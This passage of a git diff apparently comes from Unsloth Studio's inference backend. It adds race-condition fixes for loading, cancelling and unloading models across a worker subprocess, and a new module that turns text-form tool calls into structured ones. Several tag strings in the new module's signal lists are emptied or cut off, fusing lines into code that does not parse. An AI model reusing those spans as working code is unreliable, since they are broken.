sees this + # mailbox (and tears the dispatcher down) or we see the unload and bail. + # Registering after would orphan the mailbox and hang the compare stream forever. mailbox: queue.Queue = queue.Queue() with self._mailbox_lock: - self._mailboxes[request_id] = mailbox + # _unload_pending alone is not enough: an unload that ran fully since + # _start_dispatcher clears it in its finally and stops the dispatcher, so it + # reads False here though the dispatcher is gone and the model swapped. Also + # bail when the active model changed or the dispatcher died: a mailbox with no + # dispatcher to route gen_done/gen_error hangs the compare stream. + dispatcher_alive = ( + self._dispatcher_thread is not None and self._dispatcher_thread.is_alive() + ) + unloading = ( + self._unload_pending + or self.active_model_name != expected_model + or not dispatcher_alive + ) + if not unloading: + self._mailboxes[request_id] = mailbox + # When bailing without a mailbox, note whether any OTHER compare request still + # routes through the dispatcher; if none and this call started it, stop it below. + orphaned_dispatcher = unloading and not dispatcher_preexisting and not self._mailboxes + if unloading: + # A racing unload can pass its _wait_dispatcher_idle() while the dispatcher was + # stopped, then set _unload_pending. The one we just started would otherwise + # linger with no mailboxes, race unload_model's _wait_response for the "unloaded" + # reply off resp_queue, and drop it as unroutable -- hanging the unload 300s. Stop + # it here so the unload stays the sole resp_queue reader. Outside _mailbox_lock: + # _stop_dispatcher joins the dispatcher, which itself takes that lock. + if orphaned_dispatcher: + self._stop_dispatcher() + yield GenStreamError("Error: model is being unloaded") + return try: self._send_cmd(cmd) except RuntimeError as exc: with self._mailbox_lock: self._mailboxes.pop(request_id, None) - yield f"Error: {exc}" + yield GenStreamError(f"Error: {exc}") return def read_mailbox(timeout): @@ -671,14 +789,18 @@ class InferenceOrchestrator: return logger.warning("Timed out draining mailbox after cancel") - def _wait_dispatcher_idle(self) -> None: + def _wait_dispatcher_idle(self) -> bool: """Wait for all dispatched requests to complete, then stop dispatcher. - Called by _generate_inner before the _gen_lock path so the dispatcher - thread isn't competing for resp_queue reads. + Returns True if the dispatcher was stopped (all mailboxes drained, or no + dispatcher was running), and False if it was left running because compare + requests were still active after _DISPATCH_IDLE_TIMEOUT. + + Called before the _gen_lock path so the dispatcher thread isn't competing + for resp_queue reads. """ if self._dispatcher_thread is None or not self._dispatcher_thread.is_alive(): - return + return True # Wait for all mailboxes to be emptied (dispatched requests complete) deadline = time.monotonic() + _DISPATCH_IDLE_TIMEOUT @@ -699,8 +821,62 @@ class InferenceOrchestrator: "leaving dispatcher running for compare requests", len(self._mailboxes), ) - else: - self._stop_dispatcher() + return False + self._stop_dispatcher() + return True + + def share_distributed_object( + self, + obj, + timeout: Optional[float] = 300.0, + ): + """Share a small object through the worker's MLX distributed group.""" + if not self._ensure_subprocess_alive(): + raise RuntimeError("Inference subprocess is not running") + + self._wait_dispatcher_idle() + with self._mailbox_lock: + if self._mailboxes: + raise RuntimeError( + "Cannot share distributed objects while compare requests are active" + ) + request_id = str(uuid.uuid4()) + cmd = { + "type": "share_object", + "request_id": request_id, + "object": obj, + } + + with self._gen_lock: + self._send_cmd(cmd) + deadline = None if timeout is None else time.monotonic() + timeout + while deadline is None or time.monotonic() < deadline: + remaining = 1.0 if deadline is None else max(0.1, deadline - time.monotonic()) + resp = self._read_resp(timeout = min(remaining, 1.0)) + if resp is None: + if not self._ensure_subprocess_alive(): + raise RuntimeError(self._subprocess_crash_message("sharing chat turn")) + continue + + rtype = resp.get("type", "") + rid = resp.get("request_id") + if rid and rid != request_id: + logger.debug( + "Skipping response for request_id=%s while sharing request_id=%s", + rid, + request_id, + ) + continue + if rtype == "shared": + return resp.get("object") + if rtype == "share_error": + raise RuntimeError(resp.get("error", "Failed to share object")) + if rtype == "error": + raise RuntimeError(resp.get("error", "Subprocess error")) + if rtype == "status": + continue + + raise RuntimeError("Timeout waiting for distributed object share") # ------------------------------------------------------------------ # Public API — same interface as InferenceBackend @@ -716,6 +892,9 @@ class InferenceOrchestrator: trust_remote_code: bool = False, approved_remote_code_fingerprint: Optional[str] = None, gpu_ids: Optional[list[int]] = None, + subject: Optional[str] = None, + tensor_parallel: bool = False, + mlx_distributed: bool = False, ) -> bool: """Load a model for inference. @@ -739,7 +918,13 @@ class InferenceOrchestrator: "gguf_variant": getattr(config, "gguf_variant", None), "trust_remote_code": trust_remote_code, "approved_remote_code_fingerprint": approved_remote_code_fingerprint, + "subject": subject, "gpu_ids": gpu_ids, + "tensor_parallel": bool(tensor_parallel), + "mlx_distributed": bool(mlx_distributed), + "mlx_parallel_mode": ("tensor" if tensor_parallel else "pipeline") + if mlx_distributed + else None, } resolved_gpu_ids, gpu_selection = prepare_gpu_selection( gpu_ids, @@ -765,6 +950,19 @@ class InferenceOrchestrator: ) for attempt in range(2): + # Stop-loading (/unload -> cancel_load) aborts a load by discarding this + # model's loading marker. cancel_load only kills a live child; if the cancel + # lands before any child exists (GPU placement, or between retries) there is + # nothing to kill, and without this check the loop would spawn a worker and + # load the model after /unload reported it unloaded. Observe removal and stop. + if model_name not in self.loading_models: + logger.info( + "Load for '%s' was cancelled before spawn; not starting a worker", + model_name, + ) + self.active_model_name = None + self.models.clear() + return False logger.info( "Spawning fresh inference subprocess for '%s' " "(transformers %s.x, attempt %d/2%s)", @@ -776,6 +974,22 @@ class InferenceOrchestrator: sub_config["disable_xet"] = disable_xet self._spawn_subprocess(sub_config) + # A cancel can land after the pre-spawn recheck but while _spawn_subprocess + # is still creating the queues/process. cancel_load runs off the lifecycle + # gate, so its _shutdown_subprocess can see _proc still None and no-op, + # orphaning this fresh worker; the load would then wait for "loaded" and + # publish a model /unload reported unloaded, over a live subprocess nothing + # reaps. Recheck now the child exists and tear it down before publishing. + if model_name not in self.loading_models: + logger.info( + "Load for '%s' was cancelled during spawn; tearing the worker down", + model_name, + ) + self._shutdown_subprocess(timeout = 5) + self.active_model_name = None + self.models.clear() + return False + try: resp = self._wait_response("loaded") except DownloadStallError: @@ -796,8 +1010,31 @@ class InferenceOrchestrator: ) if resp.get("success"): + # A cancel can land while we were parked in _wait_response above. + # cancel_load (off the lifecycle gate) discards this model's loading + # marker BEFORE its teardown, so a Stop-loading that fired after the + # worker queued "loaded" (which we can still consume during cancel_load's + # shutdown window) shows up here only as the marker's removal. Without + # this recheck we would publish active_model_name/models for a model + # /unload reported cancelled, over a subprocess cancel_load just killed; + # its post-teardown re-clear cannot undo a publish that lands after it + # returns. Observe the removal and abort; cancel_load owns teardown. + if model_name not in self.loading_models: + logger.info( + "Load for '%s' was cancelled while waiting for 'loaded'; " + "not publishing the cancelled model", + model_name, + ) + self.active_model_name = None + self.models.clear() + return False model_info = resp.get("model_info", {}) self.active_model_name = model_info.get("identifier", model_name) + # A load always spawns a fresh subprocess holding only this model, so + # mirror that. A lingering stale name would pass unload_model's "not in + # self.models" guard, and the worker's absent-name fallback would unload + # its *active* model, not the already-gone one. + self.models = {} self.models[self.active_model_name] = { "is_vision": model_info.get("is_vision", False), "is_lora": model_info.get("is_lora", False), @@ -830,17 +1067,65 @@ class InferenceOrchestrator: self.models.clear() raise - def unload_model(self, model_name: str) -> bool: - """Unload a model from the subprocess.""" - if model_name in self.loading_models: - logger.info( - "Cancelling in-flight load for model '%s' by terminating subprocess", + def cancel_load(self, model_name: str) -> bool: + """Abort an in-flight load by terminating its subprocess. + + Returns True if a load for ``model_name`` (matched case-insensitively) was + cancelled, False if nothing was loading under that name. This only tears the + loading subprocess down -- it sends no command to a worker -- so, unlike the + rest of ``unload_model``, it is safe to run WITHOUT the inference lifecycle + gate. ``/unload`` calls it off-gate so the "stop loading" button can interrupt + a safetensors load that holds the gate for its whole (multi-minute) duration; + a gated cancel could never preempt that load. + """ + target = model_name + if target not in self.loading_models: + target = next( + (m for m in self.loading_models if m.lower() == model_name.lower()), model_name, ) - self._shutdown_subprocess(timeout = 0.5) - self.loading_models.discard(model_name) - self.active_model_name = None - self.models.clear() + if target not in self.loading_models: + return False + logger.info( + "Cancelling in-flight load for model '%s' by terminating subprocess", + target, + ) + # Discard the loading marker (and clear local state) BEFORE the teardown, not + # after. cancel_load runs off the lifecycle gate, alongside a load_model that + # rechecks this marker before each spawn. But _shutdown_subprocess can block (~1s + # tearing a live child down and joining the dispatcher), so clearing only after + # leaves a window where load_model reads the marker still set, passes its pre-spawn + # recheck, and loads the model after /unload reported it cancelled. Clear first. + self.loading_models.discard(target) + self.active_model_name = None + self.models.clear() + self._shutdown_subprocess(timeout = 0.5) + # Clear the local mirrors again AFTER the teardown. A racing off-gate load_model + # may still be parked in _wait_response("loaded"): its worker already queued a + # "loaded" reply, so during the shutdown window above (the 0.5s settle before the + # response queue is drained and nulled) that thread can consume it and repopulate + # active_model_name/models, undoing the pre-teardown clear. _shutdown_subprocess + # nulls the queue but not the mirrors, so without this second clear /unload reports + # success while the backend still advertises a killed model. The nulled queue lets + # no further "loaded" through, so re-clearing here wipes any repopulation. + self.active_model_name = None + self.models.clear() + return True + + def unload_model(self, model_name: str) -> bool: + """Unload a model from the subprocess.""" + # active_model_name can differ in case from the client's raw /unload name (the + # load path canonicalizes casing). Match case-insensitively and use the canonical + # spelling so the guard, unload command, and cleanup below hit the loaded model. + if ( + self.active_model_name is not None + and model_name != self.active_model_name + and model_name.lower() == self.active_model_name.lower() + ): + model_name = self.active_model_name + # In-flight load: tear its subprocess down (shared loading-cancel logic; no + # worker command sent). + if self.cancel_load(model_name): return True if not self._ensure_subprocess_alive(): @@ -850,30 +1135,93 @@ class InferenceOrchestrator: self.active_model_name = None return True - try: - self._send_cmd( - { - "type": "unload", - "model_name": model_name, - } - ) - resp = self._wait_response("unloaded") - - # Update local state + # Nothing loaded under this name: don't unload a stale model. The worker falls + # back to unloading its *active* model when the name is absent, so a stale unload + # (lost a race to a concurrent load) would hit the wrong one. + if model_name != self.active_model_name and model_name not in self.models: self.models.pop(model_name, None) - if self.active_model_name == model_name: - self.active_model_name = None - - logger.info("Model '%s' unloaded from subprocess", model_name) return True - except Exception as exc: - logger.error("Error unloading model '%s': %s", model_name, exc) - # Clear local state anyway - self.models.pop(model_name, None) - if self.active_model_name == model_name: - self.active_model_name = None - return False + # The subprocess runs commands sequentially, so a bare unload queues behind a + # running generate (a 2-3 min hang). Cancel first (via the mp.Event the worker + # polls each token), then take _gen_lock as sole resp_queue reader (like GGUF). + # + # Set _unload_pending under _dispatcher_lifecycle_lock so it is ordered ahead of + # the dispatcher stop that _wait_dispatcher_idle runs under the same lock: a + # compare request's _start_dispatcher queued behind that stop then observes the + # unload and refuses to spawn a fresh dispatcher that would eat the "unloaded" + # reply off resp_queue. This is a standalone acquisition (no _gen_lock held yet), + # so it keeps the _gen_lock -> _dispatcher_lifecycle_lock order and can't deadlock. + with self._dispatcher_lifecycle_lock: + self._unload_pending = True + # Cancelling only the running generation isn't enough: the worker clears + # cancel_event at each generate start, so a queued one would clear it and run the + # outgoing model to completion. drain_event, never cleared, makes any generate + # dequeued during the unload skip. + if self._drain_event is not None: + self._drain_event.set() + try: + self._cancel_generation() + acquired = self._gen_lock.acquire(timeout = _UNLOAD_GEN_LOCK_TIMEOUT) + if not acquired: + # Wedged worker: tear the subprocess down to free the GPU (next load respawns). + logger.warning( + "Unload: generation did not yield %.1fs after cancel; " + "shutting the inference subprocess down to free the model", + _UNLOAD_GEN_LOCK_TIMEOUT, + ) + self._shutdown_subprocess(timeout = 5) + self.models.pop(model_name, None) + if self.active_model_name == model_name: + self.active_model_name = None + return True + + try: + # Stop the compare-mode dispatcher so it can't consume the "unloaded" reply + # off resp_queue before we do. A dispatched generation bypasses _gen_lock, so + # a wedged one slips past the acquire above; if the dispatcher is still active + # it owns resp_queue and the queued unload hangs _wait_response behind the + # stuck generate. Mirror the wedged locked path: tear the subprocess down. + if not self._wait_dispatcher_idle(): + logger.warning( + "Unload: compare-mode dispatcher still active after idle " + "wait; shutting the inference subprocess down to free the model" + ) + self._shutdown_subprocess(timeout = 5) + self.models.pop(model_name, None) + if self.active_model_name == model_name: + self.active_model_name = None + return True + # Drop stale tokens so they can't be read as the unload reply. + self._drain_queue() + self._send_cmd( + { + "type": "unload", + "model_name": model_name, + } + ) + self._wait_response("unloaded") + + self.models.pop(model_name, None) + if self.active_model_name == model_name: + self.active_model_name = None + + logger.info("Model '%s' unloaded from subprocess", model_name) + return True + + except Exception as exc: + logger.error("Error unloading model '%s': %s", model_name, exc) + # Clear local state anyway + self.models.pop(model_name, None) + if self.active_model_name == model_name: + self.active_model_name = None + return False + finally: + self._gen_lock.release() + finally: + self._unload_pending = False + if self._drain_event is not None: + self._drain_event.clear() def generate_chat_response( self, @@ -892,6 +1240,7 @@ class InferenceOrchestrator: reasoning_effort: Optional[str] = None, preserve_thinking: Optional[bool] = None, stats_holder: Optional[dict] = None, + presence_penalty: float = 0.0, ) -> Generator[str, None, None]: """Generate response, streaming tokens from subprocess. @@ -901,6 +1250,8 @@ class InferenceOrchestrator: ``stats_holder``: caller-owned dict; on gen_done its "stats" key gets the worker's usage/timings. Request-scoped to avoid cross-stream reads. + + ``presence_penalty`` matches the GGUF sampling path (0 disables it). """ yield from self._generate_inner( messages = messages, @@ -919,6 +1270,7 @@ class InferenceOrchestrator: reasoning_effort = reasoning_effort, preserve_thinking = preserve_thinking, stats_holder = stats_holder, + presence_penalty = presence_penalty, ) def generate_chat_completion_with_tools( @@ -938,6 +1290,7 @@ class InferenceOrchestrator: preserve_thinking: Optional[bool] = None, max_tool_iterations: int = 25, auto_heal_tool_calls: bool = True, + nudge_tool_calls: Optional[bool] = None, tool_call_timeout: int = 300, session_id: Optional[str] = None, rag_scope: Optional[dict] = None, @@ -945,6 +1298,7 @@ class InferenceOrchestrator: bypass_permissions: bool = False, use_adapter: Optional[Union[bool, str]] = None, stats_holder: Optional[dict] = None, + presence_penalty: float = 0.0, **_unused, ): """Run the safetensors agentic tool loop in the parent process, @@ -980,6 +1334,7 @@ class InferenceOrchestrator: preserve_thinking = preserve_thinking, # last turn wins, like the GGUF tool loop stats_holder = stats_holder, + presence_penalty = presence_penalty, ) if use_adapter is not None: yield from self.generate_with_adapter_control( @@ -1000,6 +1355,7 @@ class InferenceOrchestrator: execute_tool = execute_tool, cancel_event = cancel_event, auto_heal_tool_calls = auto_heal_tool_calls, + nudge_tool_calls = nudge_tool_calls, max_tool_iterations = max_tool_iterations, tool_call_timeout = tool_call_timeout, session_id = session_id, @@ -1046,6 +1402,7 @@ class InferenceOrchestrator: reasoning_effort: Optional[str] = None, preserve_thinking: Optional[bool] = None, stats_holder: Optional[dict] = None, + presence_penalty: float = 0.0, ) -> Generator[str, None, None]: """Inner generation logic — sends command to subprocess, yields tokens. @@ -1053,12 +1410,13 @@ class InferenceOrchestrator: readers don't consume each other's tokens off the shared resp_queue. """ if not self._ensure_subprocess_alive(): - yield "Error: Inference subprocess is not running" + yield GenStreamError("Error: Inference subprocess is not running") return if not self.active_model_name: - yield "Error: No active model" + yield GenStreamError("Error: No active model") return + expected_model = self.active_model_name # Drain any prior compare-mode dispatcher so we can read resp_queue. self._wait_dispatcher_idle() @@ -1067,6 +1425,14 @@ class InferenceOrchestrator: # consume and drop each other's token events. Hold _gen_lock across the # cmd build + send + whole stream so we stay the sole resp_queue reader. with self._gen_lock: + # Recheck under the lock: an unload we raced may have cleared/swapped the model. + # _unload_pending resets after the lock releases, so it can read False by now; + # the active-model check catches that handoff and a reload that swapped models, + # so we never generate on the wrong one. + if self._unload_pending or self.active_model_name != expected_model: + # Won the lock handoff during a switch; don't start on the outgoing model. + yield GenStreamError("Error: model is being unloaded") + return request_id = str(uuid.uuid4()) image_b64 = self._pil_to_base64(image) if image is not None else None cmd = self._build_generate_cmd( @@ -1080,6 +1446,7 @@ class InferenceOrchestrator: min_p = min_p, max_new_tokens = max_new_tokens, repetition_penalty = repetition_penalty, + presence_penalty = presence_penalty, use_adapter = use_adapter, tools = tools, enable_thinking = enable_thinking, @@ -1090,7 +1457,7 @@ class InferenceOrchestrator: try: self._send_cmd(cmd) except RuntimeError as exc: - yield f"Error: {exc}" + yield GenStreamError(f"Error: {exc}") return yield from self._consume_token_stream( @@ -1134,53 +1501,62 @@ class InferenceOrchestrator: raise RuntimeError("Inference subprocess is not running") if not self.active_model_name: raise RuntimeError("No active model") + expected_model = self.active_model_name - request_id = str(uuid.uuid4()) + # Serialize under _gen_lock (sole resp_queue reader) and refuse to start on the + # outgoing model once an unload is pending, like the text and audio-input paths. + # Without this a concurrent /audio/generate could run TTS on a model being switched. + with self._gen_lock: + # Recheck under the lock (see _generate_inner): a raced unload/switch may have + # cleared or swapped the model while we waited. + if self._unload_pending or self.active_model_name != expected_model: + raise RuntimeError("model is being unloaded") - cmd = { - "type": "generate_audio", - "request_id": request_id, - "text": text, - "temperature": temperature, - "top_p": top_p, - "top_k": top_k, - "min_p": min_p, - "max_new_tokens": max_new_tokens, - "repetition_penalty": repetition_penalty, - } - if use_adapter is not None: - cmd["use_adapter"] = use_adapter + request_id = str(uuid.uuid4()) - self._send_cmd(cmd) + cmd = { + "type": "generate_audio", + "request_id": request_id, + "text": text, + "temperature": temperature, + "top_p": top_p, + "top_k": top_k, + "min_p": min_p, + "max_new_tokens": max_new_tokens, + "repetition_penalty": repetition_penalty, + } + if use_adapter is not None: + cmd["use_adapter"] = use_adapter - # Wait for audio_done or audio_error - deadline = time.monotonic() + 120.0 - while time.monotonic() < deadline: - remaining = max(0.1, deadline - time.monotonic()) - resp = self._read_resp(timeout = min(remaining, 1.0)) + self._send_cmd(cmd) - if resp is None: - if not self._ensure_subprocess_alive(): - raise RuntimeError(self._subprocess_crash_message("audio generation")) - continue + deadline = time.monotonic() + 120.0 + while time.monotonic() < deadline: + remaining = max(0.1, deadline - time.monotonic()) + resp = self._read_resp(timeout = min(remaining, 1.0)) - rtype = resp.get("type", "") + if resp is None: + if not self._ensure_subprocess_alive(): + raise RuntimeError(self._subprocess_crash_message("audio generation")) + continue - if rtype == "audio_done": - wav_bytes = base64.b64decode(resp["wav_base64"]) - sample_rate = resp["sample_rate"] - return wav_bytes, sample_rate + rtype = resp.get("type", "") - if rtype == "audio_error": - raise RuntimeError(resp.get("error", "Audio generation failed")) + if rtype == "audio_done": + wav_bytes = base64.b64decode(resp["wav_base64"]) + sample_rate = resp["sample_rate"] + return wav_bytes, sample_rate - if rtype == "error": - raise RuntimeError(resp.get("error", "Unknown error")) + if rtype == "audio_error": + raise RuntimeError(resp.get("error", "Audio generation failed")) - if rtype == "status": - continue + if rtype == "error": + raise RuntimeError(resp.get("error", "Unknown error")) - raise RuntimeError("Timeout waiting for audio generation (120s)") + if rtype == "status": + continue + + raise RuntimeError("Timeout waiting for audio generation (120s)") def generate_whisper_response( self, @@ -1240,13 +1616,20 @@ class InferenceOrchestrator: ) -> Generator[str, None, None]: """Shared inner logic for audio input generation (Whisper + ASR).""" if not self._ensure_subprocess_alive(): - yield "Error: Inference subprocess is not running" + yield GenStreamError("Error: Inference subprocess is not running") return if not self.active_model_name: - yield "Error: No active model" + yield GenStreamError("Error: No active model") return + expected_model = self.active_model_name with self._gen_lock: + # Recheck under the lock (see _generate_inner): a raced unload/switch may have + # cleared or swapped the model while we waited. + if self._unload_pending or self.active_model_name != expected_model: + # Won the lock handoff during a switch; don't start on the outgoing model. + yield GenStreamError("Error: model is being unloaded") + return request_id = str(uuid.uuid4()) # numpy array -> list for mp.Queue serialization @@ -1272,7 +1655,7 @@ class InferenceOrchestrator: try: self._send_cmd(cmd) except RuntimeError as exc: - yield f"Error: {exc}" + yield GenStreamError(f"Error: {exc}") return yield from self._consume_token_stream( diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py new file mode 100644 index 0000000000..a444431f8d --- /dev/null +++ b/studio/backend/core/inference/passthrough_healing.py @@ -0,0 +1,557 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tool-call healing for the client-tool passthrough. + +With server-side tools disabled (``unsloth run --disable-tools``, every +``unsloth start`` coding agent), requests carrying the client's own ``tools`` +bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small +GGUF models often emit their tool calls as TEXT (``{...}``, +Gemma ``<|tool_call>...``, ```` XML) instead of structured +``tool_calls`` -- on the passthrough that text reaches the agent as prose and +the turn dies. This module promotes such text back into structured calls on the +RESPONSE side only: the upstream request body is never touched, no extra +generation is issued, so llama-server slot/KV-cache reuse is byte-identical. + +Healing only ever fires when the request declared client tools, and only +promotes calls whose function name exactly matches a declared tool. Promotion +removes EXACTLY the promoted calls' markup spans (the parser reports them): +undeclared calls, unparseable blocks, and suppressed alternate formats keep +every byte and relay as text, so healing can never silently delete model +output. Responses without a tool signal, requests without tools, and Studio's +own enable-tools loop are untouched. Per-request opt-out: +``auto_heal_tool_calls: false``. Process kill-switch: +``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``. +""" + +import json +import os +from collections.abc import Mapping +from typing import Any, Optional + +from core.inference.tool_loop_controller import coerce_tool_arguments +from core.tool_healing import parse_tool_calls_from_text + +# Only the formats this healer's parser can promote -- narrower than the loops' +# broader TOOL_XML_SIGNALS. A loop-only marker (Llama <|python_tag|>, bare +# [ARGS]) would buffer a streamed call as prose without promoting it, so keep a +# healer-aligned list. Mistral's [TOOL_CALLS] IS promotable, so it stays in. +_HEAL_SIGNALS = ( + "", + "<|tool_call>", + " bool: + return any(s in text for s in _HEAL_SIGNALS) + + +# Read once at import (same convention as the other UNSLOTH_* switches). +_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1" +# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process +# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator). +_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1" + + +def nudge_enabled(request_flag: Optional[bool]) -> bool: + return _NUDGE_DEFAULT if request_flag is None else bool(request_flag) + + +_MAX_SIGNAL_LEN = max(len(s) for s in _HEAL_SIGNALS) +# A suspected-but-unclosed tool block larger than this is declared a false +# alarm and flushed, bounding memory on a model rambling XML-lookalike text. +_MAX_HOLD_CHARS = 64 * 1024 + + +def heal_gate( + auto_heal: Optional[bool], + tools: Optional[list], + tool_choice: Any = None, +) -> Optional[set]: + """Return the declared client-tool name set when healing applies, else None. + + ``tools`` is the OpenAI-shaped list forwarded to llama-server + (``[{"type": "function", "function": {"name": ...}}, ...]``). The name set + doubles as the promotion allowlist so healed calls can never invent a tool + the client did not declare. + + ``tool_choice`` (OpenAI shape) constrains the allowlist so healing never + contradicts the request: ``"none"`` forbids tool calls outright (text-form + markup stays text), and a forced ``{"type": "function", "function": + {"name": N}}`` narrows promotion to that one function. ``"auto"`` / + ``"required"`` / absent keep the full declared set. + """ + if _HEALING_DISABLED or auto_heal is False: + return None + if tool_choice == "none": + return None + names = set() + for tool in tools or []: + if not isinstance(tool, dict): + continue + function = tool.get("function") + if isinstance(function, dict) and isinstance(function.get("name"), str): + names.add(function["name"]) + if isinstance(tool_choice, dict): + function = tool_choice.get("function") + forced = function.get("name") if isinstance(function, dict) else None + if isinstance(forced, str): + names &= {forced} + return names or None + + +def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]: + schemas: dict[str, Any] = {} + for tool in tools or []: + if not isinstance(tool, dict): + continue + function = tool.get("function") + if not isinstance(function, dict): + continue + name = function.get("name") + if isinstance(name, str): + schemas[name] = function.get("parameters") + return schemas + + +def _string_arg_key_from_schema(schema: Any) -> Optional[str]: + if not isinstance(schema, dict): + return None + properties = schema.get("properties") + required = schema.get("required") + if not isinstance(properties, dict) or not isinstance(required, list): + return None + required_names = [name for name in required if isinstance(name, str)] + if len(required_names) != 1: + return None + key = required_names[0] + + if key not in properties: + return None + prop_schema = properties.get(key) + if isinstance(prop_schema, dict): + prop_type = prop_schema.get("type") + if isinstance(prop_type, list): + if "string" not in prop_type: + return None + elif prop_type is not None and prop_type != "string": + return None + return key + + +def _coerce_promoted_arguments( + raw_args: Any, tool_name: str, tool_schemas: Optional[dict] +) -> Optional[dict]: + if isinstance(raw_args, Mapping): + return dict(raw_args) + if isinstance(raw_args, str): + try: + parsed = json.loads(raw_args) + if isinstance(parsed, Mapping): + return dict(parsed) + except (json.JSONDecodeError, ValueError): + pass + if tool_schemas is not None: + key = _string_arg_key_from_schema(tool_schemas.get(tool_name)) + return {key: raw_args} if key else None + coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name) + return coerced.arguments + + +def _promote( + calls: list, + allowed_tools: set, + id_offset: int = 0, + tool_schemas: Optional[dict] = None, +) -> list: + """Filter parsed calls to declared tools and normalize their arguments. + + Bare string arguments on the client-tool passthrough use the declared + schema's single required string property. If the schema is ambiguous, the + call stays text instead of inventing a generic key. + """ + promoted = [] + for call in calls: + function = call.get("function") if isinstance(call, dict) else None + name = function.get("name") if isinstance(function, dict) else None + if name not in allowed_tools: + continue + arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas) + if arguments is None: + continue + promoted.append( + { + "id": f"call_{id_offset + len(promoted)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(arguments, ensure_ascii = False), + }, + } + ) + return promoted + + +def _remove_spans(text: str, spans: list) -> str: + """Text with the given non-overlapping, sorted (start, end) ranges removed.""" + pieces = [] + pos = 0 + for start, end in spans: + pieces.append(text[pos:start]) + pos = end + pieces.append(text[pos:]) + return "".join(pieces) + + +def heal_openai_message_events( + msg: dict, + allowed_tools: set, + tools: Optional[list] = None, +) -> Optional[list]: + if not isinstance(msg, dict) or msg.get("tool_calls"): + return None + content = msg.get("content") + if not isinstance(content, str) or not _has_heal_signal(content): + return None + parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True) + tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + events: list = [] + pos = 0 + call_count = 0 + for call, (start, end) in zip(parsed, spans): + promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas) + if promoted: + if content[pos:start]: + events.append(("text", content[pos:start])) + events.append(("tool_call", promoted[0])) + call_count += 1 + else: + events.append(("text", content[pos:end])) + pos = end + if not call_count: + return None + if content[pos:]: + events.append(("text", content[pos:])) + return events + + +def heal_openai_message( + msg: dict, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """Promote text-form tool calls in a non-streaming OpenAI message. In place. + + No-op (returns False) unless the message has NO structured ``tool_calls`` + (grammar mode already worked when it does) and its content carries a tool + signal that parses into at least one declared call. Only the promoted + calls' markup spans are removed from the content; undeclared calls and + anything the parser did not consume stay in the text byte-intact. + """ + events = heal_openai_message_events(msg, allowed_tools, tools) + if not events: + return False + calls = [value for kind, value in events if kind == "tool_call"] + content = "".join(value for kind, value in events if kind == "text").strip() + msg["tool_calls"] = calls + # OpenAI requires content = null on a pure tool-call turn. + msg["content"] = content or None + return True + + +def _earliest_signal(buffer: str) -> int: + best = -1 + for signal in _HEAL_SIGNALS: + index = buffer.find(signal) + if index >= 0 and (best < 0 or index < best): + best = index + return best + + +def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]: + spans = [] + for open_tag, close_tag in ( + ("", ""), + ("<|tool_call>", ""), + (""), + ): + start = buffer.find(open_tag) + if start < 0: + continue + end = buffer.find(close_tag, start) + if end >= 0: + spans.append((start, end + len(close_tag))) + return min(spans, key = lambda span: span[0]) if spans else None + + +def _partial_signal_suffix(buffer: str) -> int: + """Length of the longest buffer suffix that is a proper prefix of a signal.""" + for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1): + tail = buffer[-length:] + if any(signal.startswith(tail) for signal in _HEAL_SIGNALS): + return length + return 0 + + +class StreamToolCallHealer: + """Buffer-and-repair state machine for streamed passthrough content. + + ``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content + to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call + (string ``function.arguments``). Normal prose is forwarded immediately; only + a trailing partial-signal window (< max signal length) or a suspected tool + block is ever withheld, so streaming latency stays bounded. A false alarm + (the buffer can no longer become a parseable declared call) flushes the held + text verbatim. + """ + + def __init__( + self, + allowed_tools: set, + tools: Optional[list] = None, + ) -> None: + self._allowed = set(allowed_tools) + + self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + self._buffer = "" + self._holding = False + self._id_offset = 0 + # Structured delta.tool_calls seen upstream: grammar mode already + # worked, so healing goes dormant and text relays verbatim. + self.dormant = False + + @property + def healed(self) -> bool: + return self._id_offset > 0 + + def structured_tool_call_seen(self) -> list: + """Go dormant; flush anything held so no text is swallowed.""" + self.dormant = True + held, self._buffer, self._holding = self._buffer, "", False + return [("text", held)] if held else [] + + def feed(self, text: str) -> list: + if self.dormant: + return [("text", text)] if text else [] + self._buffer += text + return self._drain() + + def _drain(self) -> list: + events: list = [] + while True: + if not self._holding: + start = _earliest_signal(self._buffer) + if start >= 0: + if start: + events.append(("text", self._buffer[:start])) + self._buffer = self._buffer[start:] + self._holding = True + else: + keep = _partial_signal_suffix(self._buffer) + emit = self._buffer[: len(self._buffer) - keep] + if emit: + events.append(("text", emit)) + self._buffer = self._buffer[len(self._buffer) - keep :] + return events + # HOLD: drain the first contiguous run per pass so events keep document + # order (a later declared call must not overtake an earlier undeclared one + # flushing as text). A run is one markup call OR a whole Mistral [TOOL_CALLS] + # array of contiguous spans, so later calls in it are not stranded as text. + parsed, spans = parse_tool_calls_from_text( + self._buffer, + id_offset = self._id_offset, + allow_incomplete = False, + with_spans = True, + ) + if not parsed: + closed_span = _closed_signal_span(self._buffer) + if closed_span: + _start, end = closed_span + events.append(("text", self._buffer[:end])) + self._buffer = self._buffer[end:] + self._holding = False + continue + if len(self._buffer) > _MAX_HOLD_CHARS: + events.append(("text", self._buffer)) + self._buffer = "" + self._holding = False + continue + return events + pos = 0 + 